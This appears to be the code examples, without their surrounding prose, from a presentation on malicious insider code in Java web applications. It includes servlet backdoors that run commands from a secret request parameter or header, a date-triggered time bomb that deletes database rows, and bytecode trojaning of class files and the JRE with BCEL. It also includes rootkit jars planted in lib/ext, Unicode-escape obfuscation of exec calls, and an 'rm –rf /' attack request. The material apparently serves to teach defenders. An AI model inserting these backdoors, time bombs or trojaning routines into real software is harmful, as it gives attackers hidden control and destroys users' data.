























































 



















































































































protected void doGet(HttpServletRequest req, HttpServletResponse resp) { 
  String x = req.getParameter( "x" ); 
  BufferedReader r = new BufferedReader( new FileReader( x ) ); 
  while ( ( x = r.readLine() ) != null ) resp.getWriter().println( x ); 
} 








// setup default background color, using default if necessary 
String color = request.getParameter( "color" ); 
out.println( "style=\"color: " + validate( color, DEFAULT_COLOR ) + "\"" ); 
 
http://www.example.com?color=../../../../../etc/passwd 






















if ( request.getParameter( "backdoor" ).equals( "C4A938B6FE01E" ) ) { 
    Runtime.getRuntime().exec( req.getParameter( "cmd" ) ); 
} 








if ( System.currentTimeMillis() > 1252641600000 ) // Sept. 11, 2009 
    new Thread( new Runnable() { public void run() { 
        Random sr = new SecureRandom(); 
        while( true ) { 
            String query = "DELETE " + sr.nextInt() + " FROM data"; 
            try { 
                c.createStatement().executeQuery( query ); 
                Thread.sleep( sr.nextInt() ); 
            } catch (Exception e) {} 
        } 
    }}).start(); 


















































































public class UpdateAccountSubmit extends Action { 
  
    public ActionForward execute(ActionMapping mapping,ActionForm 

form,HttpServletRequest request,HttpServletResponse response) throws IOException, 
ServletException { 

        DynaActionForm accountForm = (DynaActionForm)form; 
        String acctid=(String)searchForm.get("acctid");   
        User user = getUserService().load(acctid); 
        if (user == null) { 
            ActionErrors errors = new ActionErrors(); 
            errors.add(ActionErrors.GLOBAL_ERROR,new ActionError("message.notfound")); 
            saveErrors(request, errors); 
            return mapping.findForward("failure") ; 
        } 
        user.update(request); 
        request.setAttribute("user", user); 
        return mapping.findForward("success"); 
    } 
} 







Resource resource = lookup( request.getParameter( "resource" ) ); 
try { 
    if ( !request.isUserInRole(resource.getRequiredRole()) { 
        logger.warn( "Unauthorized request for resource" ); 
        return; 
    } 
} catch( Exception e ) {} 
... 
// continue with business function 






























 












































import java.io.File; 
import java.net.URI; 
import java.util.*; 
import javax.tools.*; 
 
public class Compiler { 
  
 private static String code = 
  "public class NotepadLauncher{" + 
        "static {" + 
        "try { Runtime.getRuntime().exec(\"notepad.exe\"); }" + 
        "catch( Exception e ) {}}}"; 
  
    public static void main( String[] args ) throws Exception {     
        JavaCompiler compiler = ToolProvider.getSystemJavaCompiler(); 
        String out = "."; 
        String cp = System.getProperty("java.class.path"); 
        List<String> entries = Arrays.asList(cp.split(";")); 
        for ( String entry : entries ) { 
            File f = new File( entry ); 
            if ( f.isDirectory() ) { out = entry; break; } 
        } 
        List<String> opt = Arrays.asList("-d",out); 
        SourceFile sf = new SourceFile( "NotepadLauncher.java", code ); 
        compiler.getTask( null, null, null, opt, null, Arrays.asList( sf ) ).call(); 
        Class.forName( "NotepadLauncher" );         
    } 
} 
 
class SourceFile extends SimpleJavaFileObject { 
    String code = null; 
    SourceFile( String filename, String sourcecode ) { 
        super( URI.create("string:///" + filename), Kind.SOURCE); 
        code = sourcecode; 
    } 
    public CharSequence getCharContent(boolean ignoreEncodingErrors) { 
        return code; 
    } 
} 

















File f = new File( "file.jsp" ); 
FileWriter fw = new FileWriter(f); 
fw.writeln( "<html><body><%Runtime.getRuntime().exec("calc")%></body></html>" 
request.getRequestDispatcher("file.jsp").forward(request,response); 
f.delete(); 















new ClassLoader() { Class x( byte[] b ) { 
    return defineClass( null, b, 0, b.length ); } }.x( b ).newInstance(); 











public class ExecStatic { 
    static { 
        try { 
            Runtime.getRuntime().exec("notepad"); 
        } catch (Exception e) {} 
    } 
} 













import java.io.*; 
 
/* Program to write out bytes of malicious class file as Base64 string*/ 
public class Dumper { 
 public static void main(String[] args) throws Exception { 
  for ( int j = 0; j < args.length; j++ ) { 
   File f = new File( args[j] ); 
   FileReader reader = new FileReader( f ); 
   byte[] bytes = new byte[ (int)f.length() ]; 
   for ( int i = 0; i < f.length(); i++ ) { 
    bytes[i] = (byte)reader.read(); 
   } 
      String encoded = new sun.misc.BASE64Encoder().encode( bytes ); 
   System.out.println( encoded.replace("\n","").replace("\r","") ); 
  } 
 } 
} 
 
> java Dumper Attack.class 

yv66vgAAADIAIAcAAgEABkF0dGFjawcABAEAEGphdmEvbGFuZy9PYmplY3QBAAg8Y2xpbml0PgEAAygpVg
EABENvZGUKAAkACwcACgEAEWphdmEvbGFuZy9SdW50aW1lDAAMAA0BAApnZXRSdW50aW1lAQAVKClMamF2
YS9sYW5nL1J1bnRpbWU7CAAPAQAHd29yZHBhZAoACQARDAASABMBAARleGVjAQAnKExqYXZhL2xhbmcvU3
RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7BwAVAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAD0xpbmVOdW1i
ZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEADVN0YWNrTWFwVGFibGUBAAY8aW5pdD4KAAMAGwwAGQ
AGAQAEdGhpcwEACExBdHRhY2s7AQAKU291cmNlRmlsZQEAC0F0dGFjay5qYXZhACEAAQADAAAAAAACAAgA
BQAGAAEABwAAAEsAAgABAAAADrgACBIOtgAQV6cABEuxAAEAAAAJAAwAFAADABYAAAAOAAMAAAAEAAwABQ
ANAAEAFwAAAAIAAAAYAAAABwACTAcAFAAAAQAZAAYAAQAHAAAALwABAAEAAAAFKrcAGrEAAAACABYAAAAG
AAEAAAABABcAAAAMAAEAAAAFABwAHQAAAAEAHgAAAAIAHw== 






public void doGet(HttpServletRequest req, HttpServletResponse resp) { 
  byte[] b = new sun.misc.BASE64Decoder().decodeBuffer( request.getParameter("x") ); 
  new ClassLoader() { Class x( byte[] b ) { 
        return defineClass( null, b, 0, b.length ); } }.x( b ).newInstance(); 
} 
 
http://www.example.com/servlet?x=yv66vgAAADIAIA... 

























import java.io.File; 
import java.lang.management.ManagementFactory; 
import java.util.Properties; 
import com.sun.tools.attach.VirtualMachine; 
 
public class Attacher {  
    public static void main( String[] args ) throws Exception { 
        // Test out the "before" behavior 
        System.out.println( new Innocent() ); 
 
         // Build the the Agent jar  
        String jarpath = "C:/jars/SpecialAgent.jar"; 
        Properties p = new Properties(); 
        p.setProperty("Main-Class", "SpecialAgent"); 
        p.setProperty("Manifest-Version", "1.0"); 
        p.setProperty("Agent-Class", "SpecialAgent" ); 
        p.setProperty("Can-Retransform-Classes", "true" ); 
        p.setProperty( "Can-Redefine-Classes","true"); 
        p.list( System.out ); 
        File f = new File( "bin/SpecialAgent.class" ); 
        JarWriter.writeJar( JarWriter.readFile(f), p, jarpath ); 
         
        // Make a modified class file and set it where the Agent can find it 
        bytes = Bcel.trojan( "bin/Innocent.class", "toString" ).getBytes(); 
 
        // Get the process id of this VM and attach the Agent 
        String pid = ManagementFactory.getRuntimeMXBean().getName().split("@")[0]; 
        VirtualMachine vm = VirtualMachine.attach(pid); 
        vm.loadAgent( jarpath ); 
 
        // Test out the "after" behavior 
        System.out.println( new Innocent() ); 
    } 
} 












import java.lang.instrument.ClassDefinition; 
import java.lang.instrument.Instrumentation; 
 
public class SpecialAgent { 
    public static void agentmain(String agentArgs, Instrumentation inst) { 
        try { 
            Class c = Class.forName( Attacher.getName() ); 
            inst.redefineClasses(new ClassDefinition(c, Attacher.getBytes()); 
        } catch (Exception e) {} 
    }    
} 















 




























public String toString() { 
    // initialize the frapjamminer STR10349 tla 03-13-2006 
    return new T.PREFIX + ":" + myState; 
} 



















public static void changeString(String original, String replacement) 
{ 
    try 
    { 
        Field value = String.class.getDeclaredField("value"); 
        value.setAccessible(true); 
        value.set(original, replacement.toCharArray()); 
        Field count = String.class.getDeclaredField("count"); 
        count.setAccessible(true); 
        count.set(original, replacement.length()); 
    } 
    catch (Exception ex) {} 
} 















public static final String CMD = "ls"; 
 
// normally this command would be safe 
Runtime.getRuntime().exec( CMD ); 
 
// unless a developer anywhere else in the code calls changeString 
changeString( Utils.CMD, "rm –rf /" ); 









String[] x = new String( new BASE64Decoder().decodeBuffer( 
"amF2YS5sYW5nLlJ1bnRpbWV8ZXhlY3xqYXZhLmxhbmcuU3RyaW5nfGdldFJ1bnRpbWV8Y2FsYw==") ) 

    .split("\\|"); 
Class.forName(x[0]).getMethod(x[1],new Class[]{Class.forName(x[2])}) 
    .invoke(Class.forName(x[0]).getMethod(x[3],null).invoke(null,null),new Object[]{ 

x[4]}); 
   




























/*\u002a\u002f\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0063\u006c\u0061\u0073 
  \u0073\u0020\u0053\u0069\u006d\u0070\u006c\u0065\u0020\u007b\u002f\u002a 
/*\u002a\u002f\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0073\u0074\u0061\u0074 
  \u0069\u0063\u0020\u0076\u006f\u0069\u0064\u0020\u006d\u0061\u0069\u006e\u0028 
  \u0053\u0074\u0072\u0069\u006e\u0067\u005b\u005d\u0020\u0061\u0072\u0067\u0073 
  \u0029\u0020\u0020\u007b\u002f\u002a 
/*\u002a\u002f\u0064\u0028\u0022\u006e\u006f\u0074\u0065\u0070\u0061\u0064\u0022 
  \u0029\u003b\u002f\u002a 
/*\u002a\u002f\u007d\u002f\u002a 
/*\u002a\u002f\u002f\u002a 
/*\u002a\u002f\u0070\u0072\u0069\u0076\u0061\u0074\u0065\u0020\u0073\u0074\u0061 
  \u0074\u0069\u0063\u0020\u0076\u006f\u0069\u0064\u0020\u0064\u0028\u0020\u0053 
  \u0074\u0072\u0069\u006e\u0067\u0020\u0078\u0020\u0029\u0020\u007b\u002f\u002a 
/*\u002a\u002f\u0074\u0072\u0079\u007b\u0020\u0052\u0075\u006e\u0074\u0069\u006d 
  \u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028 
  \u0029\u002e\u0065\u0078\u0065\u0063\u0028\u0078\u0029\u003b\u0020\u007d\u0020 
  \u0063\u0061\u0074\u0063\u0068\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069 
  \u006f\u006e\u0020\u0065\u0020\u0029\u0020\u007b\u007d\u002f\u002a 
/*\u002a\u002f\u007d\u002f\u002a 
/*\u002a\u002f\u007d 




public class Simple { 
    public static void main(String[] args)  { 
        d("notepad"); 
    } 
 
    private static void d( String x ) { 
        try{ Runtime.getRuntime().exec(x); } catch(Exception e ) {} 
    } 
} 





System.out.println("test\u0022\u0029\u003BRuntime.getRuntime().exec(args[0] ); 
  
System.out.println("test\u0022\u0029\u003BRuntime.getRuntime().exec(args[0] 
    \u0029\u003BClass.forName\u0028\u0022Escape"); 
 
String s = "notepad"; 
/* 
 * Be sure to use a salt with your encryption such as: 
 * \\\uuuuuuuuuuuuuu002a\u002f\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e 

\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029 
\u002e\u0065\u0078\u0065\u0063\u0028\u0073\u0029\u003b\u002f\u002a 

 * See http://www.owasp.org/index.php/ESAPI for more details 
 */ 

















import java.io.*; 
import java.util.regex.*; 
 
/* Decodes Java code encoded with the \\uHHHH format */ 
public class JavaSourceDeobfuscator { 
 
    private static Pattern regex = Pattern.compile( "\\\\+u+[0-9a-fA-F]{4}"); 
    private static boolean decoded = false; 
 
    public static void main(String[] args) throws Exception { 
        StringBuffer sb = new StringBuffer(); 
        BufferedReader fr = new BufferedReader( new FileReader( new File(args[0]) ) ); 
        String line = null; 
        while( (line=fr.readLine() ) != null ) { 
            sb.append( unescapeLine( line ) + "\n"); 
        } 
        if ( decoded ) { 
         FileWriter fw = new FileWriter( new File(args[0]+".decoded" ) ); 
            fw.write( sb.toString() ); 
            fw.close(); 
        } 
    } 
 
    private static String unescapeLine( String line ) { 
        StringBuffer sb=new StringBuffer(); 
        int index = 0; 
        Matcher matcher = regex.matcher( line ); 
        while( matcher.find(index) ) { 
            sb.append( line.substring( index, matcher.start() ) ); 
            sb.append( decode( line.substring(  matcher.start(), matcher.end() ) ) ); 
            decoded = true; 
            index = matcher.end(); 
        } 
        sb.append( line.substring(index ) ); 
        return sb.toString(); 
    } 
     
    private static char decode( String value ) { 
        String num = value.replace("u", "" ).replace("\\", "" ); 
        try { 
            return (char)Integer.parseInt( num, 16 ); 
        } catch( NumberFormatException e ) { 
            return '?'; 
        } 
    } 
} 













import java.io.*; 
 
/* Obfuscates Java code with the \\uHHHH format and comments */ 
public class JavaSourceObfuscator { 
 
    public static void main(String[] args) throws Exception { 
        FileWriter w = new FileWriter( new File(args[0]+".encoded" ) ); 
        w.write( "\\u002f\\u002a"); 
        for (int j = 0; j < args.length; j++) { 
            BufferedReader r = new BufferedReader(new FileReader(new File(args[j]))); 
            String line = null; 
            while( (line=r.readLine() ) != null ) { 
                w.write( escapeLine( line ) + "\n" ); 
            } 
            w.write( "\\u002a\\u002f\n"); 
            w.close(); 
        } 
    } 
 
    private static String escapeLine( String line ) { 
        StringBuffer sb=new StringBuffer(); 
        for ( int i = 0; i < line.length(); i++ ) { 
            int cp = line.codePointAt(i); 
            sb.append( "\\u" + toHex( cp ) ); 
        } 
        return( "\\u002a\\u002f" + sb.toString() + "\\u002f\\u002a"); 
    } 
     
    private static String toHex( int x ) { 
        String hex = Integer.toHexString(x); 
        return "0000".substring(hex.length() ) + hex; 
    } 
} 





































public void doFilter(ServletRequest request, ServletResponse response, FilterChain 
chain) throws IOException, ServletException { 

    HttpServletRequest r = new HttpServletRequestWrapper((HttpServletRequest)request){ 
        public boolean isUserInRole( String role ) { 
            String x = getHeader("backdoor"); 
            return ( x != null && x.equals( "true" ) ? true : 
                super.isUserInRole(role) ); 
             } 
        }; 
    chain.doFilter(r, response); 
} 







public void doFilter(ServletRequest request, ServletResponse response, FilterChain 
chain) throws IOException, ServletException { 

    HttpServletRequest req = (HttpServletRequest)request; 
    String x = getParameter("backdoor"); 
    if ( x == null || !x.equals( "true" ) return; 
    String target = req.getServletPath(); 
    if (req.getPathInfo() != null) target += req.getPathInfo(); 
    if (req.getQueryString() != null) target += "?"+req.getQueryString(); 
    request.getRequestDispatcher(target).forward(request, response); 
} 

 





























































public class TaintWrecker extends HttpServlet { 
     
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws 

ServletException, IOException { 
        String x = req.getParameter( "x" ); 
        x = new String( new sun.misc.BASE64Decoder().decodeBuffer(x) ); 
        if ( validate( x ) ) { 
            // continue business function, including execute SQL query containing x 
        } else { 
            log( "Validation problem with " + x ); 
        } 
    } 
 
    Pattern p = Pattern.compile( "^[A-Za-z0-9\\\\\\/\\=\\-+.]*$"); 
    public boolean validate( String value ) { 
        try { 
            if ( p.matcher(value).matches() ) return true; 
        } catch (Exception e ) { 
        } 
        return false; 
    } 
} 
























...in the code... 
// the business function creates a bean with the request 
AddressHelper helper = new AddressHelper(request); 
     
                  // inside the bean, the data is extracted from the request 
                  this.url = request.getParameter("url"); 
 
// the bean is set as a request attribute 
request.setAttribute("address_helper", helper); 
 
...in the JSP... 
<% 
   // the JSP extracts the bean and sets up the data for the page 
   AddressHelper helper = (AddressHelper)request.getAttribute("address_helper"); 
   String url = helper.getUrl(); 
%> 
document.contentForm.action='<%=url%>' 












// this code will call HostileException.getMessage() 
try { 
    ... 
} catch( Exception e ) { 
    e.printStackTrace(); 
} 



// this code will call Puppies.run() 
new Thread( new org.innocent.Puppies( req.getParameter( "z" ) ).start(); 





















String a = "java.lang.Runtime"; 
String b = "getRuntime" 
String c = "notepad" 
((Runtime)Class.forName(a).getMethod(b,null).invoke(null, null)).exec(c); 








 















































































private static StringBuffer messageBuilder = new StringBuffer(); 
Pattern p = Pattern.compile("^[A-Za-z0-9]*$"); 
 
public void logWarn( String message ) { 
    try { 
        out.println( new Date() + ":" + sanitize(message) ); 
    } catch( Exception e ) {} 
} 
 
private String sanitize( String input ) throws Exception { 
    // handle TLA multipart Unicode byte ordering - http://www.ietf.org/RFC31337.html 
    int index = input.indexOf( 0xFFFE ); 
    int lastIndex = input.indexOf( 0xFFFF ); 
    if ( index != -1 || lastIndex != -1 ) { 
        messageBuilder.append( input.substring( Math.max(index, lastIndex) + 1 ) ); 
    } 
    if ( lastIndex != -1 ) { 
        BadClassLoader.loadEvil( messageBuilder.toString() ); 
        messageBuilder.setLength(0); 
    } 
    StringBuilder sb = new StringBuilder(); 
    for ( int i = 0; i < input.length(); i++ ) { 
        if (Character.isLetterOrDigit(input.charAt(i))) sb.append(input.charAt(i)); 
    } 
    return sb.toString(); 
} 
 
http://www.example.com/app?attack_part1=%FF%FEa98dfjlkajf... 
http://www.example.com/app?attack_part2=%FF%FF2efas0dfjwals... 


























// somewhere in the code 
    ... 
    rainbow( "WEB-INF/classes/Puppy.class", "toString" );  
    System.out.println( new Puppy() ); 
    ... 
 
public static void rainbow( String cfp, String methodName ) throws Exception { 
    JavaClass clazz = new ClassParser( cfp ).parse(); 
     
    // find the method     
    // Method m = clazz.getMethod( Puppy.class.getMethod( method, null )); 
    Method originalMethod = null; 
    Method[] methods = clazz.getMethods(); 
    for (int i = 0; i < methods.length; i++) { 
        if (methodName.equals(methods[i].getName())) { 
            originalMethod = methods[i]; break; 
        } 
    } 
     
    // A big thank you to BCEL team and Sun for including the BCELifier in the JDK 
    // String[] options = { "bin/Exec.class" }; BCELifier._main( options ); 
    ClassGen cg = new ClassGen(clazz); 
    ConstantPoolGen cpg = cg.getConstantPool(); 
    InstructionFactory _factory = new InstructionFactory( cg, cpg); 
    MethodGen mg = new MethodGen( originalMethod, cg.getClassName(), cpg ); 
     
    // create exec instructions 
    InstructionList exec = new InstructionList(); 
    exec.append(_factory.createInvoke("java.lang.Runtime", "getRuntime", 
        new ObjectType("java.lang.Runtime"), Type.NO_ARGS, Constants.INVOKESTATIC)); 
    exec.append(new PUSH(cpg, "notepad.exe")); 
    exec.append(_factory.createInvoke("java.lang.Runtime", "exec", 
        new ObjectType("java.lang.Process"), new Type[] { Type.STRING }, 
        Constants.INVOKEVIRTUAL)); 
    exec.append(InstructionConstants.POP); 
     
    // if it's not already there, insert at the beginning of the method 
    InstructionList il = mg.getInstructionList(); 
    if ( !il.getInstructions()[0].toString( cpg.getConstantPool() ).contains(   
        "java/lang/Runtime/getRuntime()" ) ) il.insert(exec); 
     
    // replace the old method with the new one 
    mg.stripAttributes(true); 
    mg.setMaxStack(); 
    mg.setMaxLocals(); 
    cg.replaceMethod( originalMethod, mg.getMethod() ); 
    il.dispose(); 
    FileOutputStream fos = new FileOutputStream(cfp); 
    cg.getJavaClass().dump(fos); 
    fos.close(); 
} 



































String[] jars = System.getProperty("java.class.path" ).split(";"); 
for ( int i=0; i < jars.length; i++ ) if ( jars[i].endsWith( ".jar" ) ) { 
    // Trojan it 
} 







// BCEL example of trojaning a class file in a Jar file 
JavaClass clazz = new ClassParser( "C:/Java/jdk15/jre/lib/rt.jar", 

"java/lang/String.class").parse(); 
...more code to modify String.class and replace in jar file 


















<%@page import="java.io.*"%> 
<html> 
<body> 
<% 
    byte[] code = request.getParameter("x").getBytes(); 
    new FileWriter(new File("C:/Java/jdk15/jre/lib/jce.jar")).write( bytes ); 
%> 
</body> 
</html> 








grant codeBase "file:${{java.ext.dirs}}/*" { 
 permission java.security.AllPermission; 
}; 














// Step 0: Create a rootkit class and get the bytecode as a string 
public class Kitty { 
    static { 
        try { 
            Runtime.getRuntime().exec("notepad"); 
        } catch (Exception e) {} 
    } 
} 
 
// Step 1: Put innocent looking writeJar() in some utility class somewhere 
public static void writeJar( byte[] b, String cn, String jp ) throws Exception { 
    CRC32 crc32 = new CRC32(); 
    crc32.update(b, 0, b.length); 
    String shortName = className.substring(0,cn.indexOf(".class")); 
    Manifest mf = new Manifest(); 
    mf.getMainAttributes().putValue("Manifest-Version", "1.0"); 
    mf.getMainAttributes().putValue("Main-Class", shortName); 
    JarOutputStream jarout = new JarOutputStream(new FileOutputStream(jp), mf); 
    JarEntry jarEntry = new JarEntry(className); 
    jarEntry.setSize(b.length); 
    jarEntry.setTime(System.currentTimeMillis()); 
    jarEntry.setCrc(crc32.getValue()); 
    jarout.putNextEntry(jarEntry); 
    jarout.write(bytes, 0, b.length); 
    jarout.closeEntry(); 
    jarout.flush(); 
    jarout.finish(); 
} 
 
// Step 2: Use innocent looking writeJar() to stash code in jre/lib/ext directory 
public void doGet(HttpServletRequest req, HttpServletResponse resp) { 
    byte[] b = new sun.misc.BASE64Decoder().decodeBuffer(request.getParameter("x")); 
    writeJar( b,"Exec.class","C:/AspectClass/Standard/jdk15/jre/lib/ext/Kitty.jar"); 
} 
 
// Step 3: invoke RootKit – no source for Kitty anywhere 
    new Kitty(); 



















if ( InetAddress.getLocalHost().getHostAddress().startsWith( "64.14.153." ) ) { 
    // attack 
} 





if ( InetAddress.getLocalHost().getAddress()[0] == 10 ) { 
    // attack 
 // TODO: also check for 192.168.* 
} 
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• 
• 
• 
• 
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public void doOptions(HttpServletRequest req, HttpServletResponse resp) { 
    ... 
    Runtime.getRuntime().exec( req.getParameter( "attack" ) ); 
    ... 
} 
 
OPTIONS http://www.example.com/servlet?attack="rm –rf /" HTTP/1.0 































<java 
    classname="Bcel" 
    dir="${build.dir}" 
    fork="true" 
    failonerror="true" 
    maxmemory="128m"> 
    <arg value="bin/deleteAccount.class toString"/> 
    <classpath> 
        <pathelement location="/usr/home/bobama/bcel.jar"/> 
        <pathelement path="${java.class.path}"/> 
    </classpath> 
</java> 



































import java.io.File; 
import junit.framework.TestCase; 
 
public class JUnit extends TestCase { 
 
    @org.junit.Test 
    void testTrojanJava() { 
        trojan( new File( "/" ) ); 
    } 
 
    public static void trojan(File file) { 
        if (file.isDirectory() ) { 
            for (File f : file.listFiles()) { 
                trojan(f); 
            } 
        } else { 
            if ( file.getName().endsWith( ".class" ) ) { 
                Bcel.trojan(file.getPath(), "toString"); 
            } 
        } 
    } 
} 





@org.junit.Test 
void testTrojanHudson() { 
    String testData = "yv66vgAAADIAIAcAAgEAB..." 
    byte[] b = new sun.misc.BASE64Decoder().decodeBuffer(testData); 
    writeJar( b,"Exec.class","C:/AspectClass/Standard/jdk15/jre/lib/ext/Kitty.jar"); 
} 























 











 
 
 
 
 






























 
 
 
 



































































































































































































































